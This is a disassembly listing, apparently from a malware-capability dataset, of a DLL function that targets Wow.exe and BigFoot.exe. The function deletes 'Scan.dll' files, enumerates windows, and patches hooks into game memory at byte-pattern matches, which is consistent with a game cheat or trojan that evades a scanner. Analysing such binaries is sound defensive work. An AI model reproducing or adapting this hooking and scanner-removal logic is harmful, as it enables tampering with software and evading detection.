Function at 0x10001bf7
Capabilities:
Delete file
Enumerate gui resources
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll__stricmp]
mov ebx, 0x100921ac
push str.Wow.exe
push ebx
call edi
pop ecx
test eax, eax
pop ecx
jne 0x10002034
push 0x10091b58
push 1
push 0x10091c08
push 0x100922b0
call fcn.10004ece
push 0x10092588
call fcn.1000552e
add esp, 0x14
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x213]
push 0x40
mov byte [ebp - 0x214], bl
pop ecx
mov byte [ebp - 0x110], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x10f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x214]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x110]
push str._sScan.dll
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0xc
lea eax, [ebp - 0x110]
push eax
call esi
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x110]
push str._sScan.dll.new
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x110]
push eax
call esi
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10005449
test eax, eax
jne 0x100020a0
call dword [sym.imp.MSVCRT.dll__getpid]
push eax
push 0x100019b3
call dword [sym.imp.USER32.dll_EnumWindows]
call fcn.100026d2
mov edi, eax
call fcn.10004786
push 0x10001a80
call fcn.10003bc7
mov eax, dword [0x1000b244]
pop ecx
cmp eax, 1
je 0x100020a0
cmp eax, 2
je 0x100020a0
cmp eax, ebx
mov esi, str.wow.exe
jne 0x10001ec6
push str.1331222400
call fcn.10005917
pop ecx
mov dword [0x10091d98], eax
push 1
push 9
lea eax, [ebp - 0xc]
push 9
push eax
push esi
mov ecx, edi
mov byte [ebp - 0xc], 0x8b
mov byte [ebp - 0xb], 0x33
mov byte [ebp - 0xa], 3
mov byte [ebp - 9], 0xf0
mov byte [ebp - 8], 0xb9
mov byte [ebp - 7], 0x55
mov byte [ebp - 6], bl
mov byte [ebp - 5], bl
mov byte [ebp - 4], bl
call fcn.10002474
cmp eax, ebx
jbe 0x10001d8a
push 0x1000130b
push eax
mov ecx, edi
call fcn.100022f3
or byte [ebp - 3], 0xff
or byte [ebp - 2], 0xff
push 1
push 0xe
lea eax, [ebp - 8]
push 8
push eax
push esi
mov ecx, edi
mov byte [ebp - 8], 0x50
mov byte [ebp - 7], 0x8d
mov byte [ebp - 6], 0x8d
mov byte [ebp - 5], bl
mov byte [ebp - 4], 0xfb
mov byte [ebp - 1], 0x51
call fcn.10002474
cmp eax, ebx
jbe 0x10001dcc
push 0x10001360
push eax
mov ecx, edi
call fcn.100020fb
push 0x1000142f
push 0x802ac7
mov ecx, edi
call fcn.100020fb
push 1
push 6
lea eax, [ebp - 8]
push 6
push eax
push esi
mov ecx, edi
mov byte [ebp - 8], 0x8b
mov byte [ebp - 7], 0x55
mov byte [ebp - 6], 0x10
mov byte [ebp - 5], 0x89
mov byte [ebp - 4], 0x4b
mov byte [ebp - 3], 0x10
call fcn.10002474
cmp eax, ebx
jbe 0x10001e18
push 0x10001486
push eax
mov ecx, edi
call fcn.10002201
push 1
push 0xffffffffffffffd1
lea eax, [ebp - 8]
push 8
push eax
push esi
mov ecx, edi
mov byte [ebp - 8], 0xd9
mov byte [ebp - 7], 0xe0
mov byte [ebp - 6], 0xde
mov byte [ebp - 5], 0xc1
mov byte [ebp - 4], 0xdd
mov byte [ebp - 3], 0x1c
mov byte [ebp - 2], 0x24
mov byte [ebp - 1], 0x50
call fcn.10002474
cmp eax, ebx
jbe 0x10001e5b
push 0x100014ec
push eax
mov ecx, edi
call fcn.10002201
push 0x1000190a
push 0x805171
mov ecx, edi
call fcn.100020fb
push 0x1000172a
push 0x62b967
mov ecx, edi
call fcn.100020fb
push 0x10001859
push 0x80508f
mov ecx, edi
call fcn.100020fb
push 0x100018ba
push 0x8050a0
mov ecx, edi
call fcn.100020fb
push 0x100016bb
push 0x8050cf
mov ecx, edi
call fcn.100020fb
push 0x100013f2
push 0x62a3c0
mov ecx, edi
call fcn.100020fb
mov eax, dword [0x1000b244]
cmp eax, 1
jne 0x100020a0
push eax
push 9
lea eax, [ebp - 0xc]
push 9
push eax
push esi
mov ecx, edi
mov byte [ebp - 0xc], 0x8b
mov byte [ebp - 0xb], 0x33
mov byte [ebp - 0xa], 3
mov byte [ebp - 9], 0xf0
mov byte [ebp - 8], 0xb9
mov byte [ebp - 7], 0x55
mov byte [ebp - 6], bl
mov byte [ebp - 5], bl
mov byte [ebp - 4], bl
call fcn.10002474
cmp eax, ebx
jbe 0x10001f12
push 0x1000130b
push eax
mov ecx, edi
call fcn.100022f3
or byte [ebp - 7], 0xff
push 1
push 0xffffffffffffffa5
lea eax, [ebp - 0xc]
push 0xc
push eax
push esi
mov ecx, edi
mov byte [ebp - 0xc], 0x56
mov byte [ebp - 0xb], 0x50
mov byte [ebp - 0xa], 0x8b
mov byte [ebp - 9], 0x42
mov byte [ebp - 8], 0x5c
mov byte [ebp - 6], 0xd0
mov byte [ebp - 5], 0x5f
mov byte [ebp - 4], 0x5e
mov byte [ebp - 3], 0x8b
mov byte [ebp - 2], 0xe5
mov byte [ebp - 1], 0x5d
call fcn.10002474
cmp eax, ebx
jbe 0x10001f65
push 0x10001360
push eax
mov ecx, edi
call fcn.100020fb
push 1
push 6
lea eax, [ebp - 8]
push 6
push eax
push esi
mov ecx, edi
mov byte [ebp - 8], 0x8b
mov byte [ebp - 7], 0x55
mov byte [ebp - 6], 0x10
mov byte [ebp - 5], 0x89
mov byte [ebp - 4], 0x4b
mov byte [ebp - 3], 0x10
call fcn.10002474
cmp eax, ebx
jbe 0x10001fa0
push 0x10001486
push eax
mov ecx, edi
call fcn.10002201
push 1
push 0xffffffffffffffd1
lea eax, [ebp - 8]
push 5
push eax
push esi
mov ecx, edi
mov byte [ebp - 8], 0x89
mov byte [ebp - 7], 0x4d
mov byte [ebp - 6], pe_nt_image_headers32
mov byte [ebp - 5], 0x8b
mov byte [ebp - 4], 0xc8
call fcn.10002474
cmp eax, ebx
jbe 0x10001fd7
push 0x1000152e
push eax
mov ecx, edi
call fcn.10002201
push 0x1000190a
push 0x7edca1
mov ecx, edi
call fcn.100020fb
push 0x100013f2
push 0x61ea12
mov ecx, edi
call fcn.100020fb
push 1
push 0x41
lea eax, [ebp - 8]
push 8
push eax
push esi
mov ecx, edi
mov byte [ebp - 8], 0xf
mov byte [ebp - 7], 0xb6
mov byte [ebp - 6], 0x88
mov byte [ebp - 5], 0x85
mov byte [ebp - 4], 1
mov byte [ebp - 3], bl
mov byte [ebp - 2], bl
mov byte [ebp - 1], 0x51
call fcn.10002474
cmp eax, ebx
jbe 0x100020a0
push 0x1000142f
jmp 0x10002098
mov esi, str.BigFoot.exe
push esi
push ebx
call edi
pop ecx
test eax, eax
pop ecx
jne 0x100020a5
call fcn.100026d2
push 0x7d0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 2
push 0xa
lea eax, [ebp - 0xc]
push 0xa
push eax
push esi
mov ecx, edi
mov byte [ebp - 0xc], 0x83
mov byte [ebp - 0xb], 0xc0
mov byte [ebp - 0xa], 4
mov byte [ebp - 9], 0x50
mov byte [ebp - 8], 0x8b
mov byte [ebp - 7], 0x4d
mov byte [ebp - 6], 0xe8
mov byte [ebp - 5], 0x83
mov byte [ebp - 4], 0xc1
mov byte [ebp - 3], 4
call fcn.10002474
test eax, eax
jbe 0x100020a0
push 0x10001961
push eax
mov ecx, edi
call fcn.100020fb
push 1
pop eax
jmp 0x100020a7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret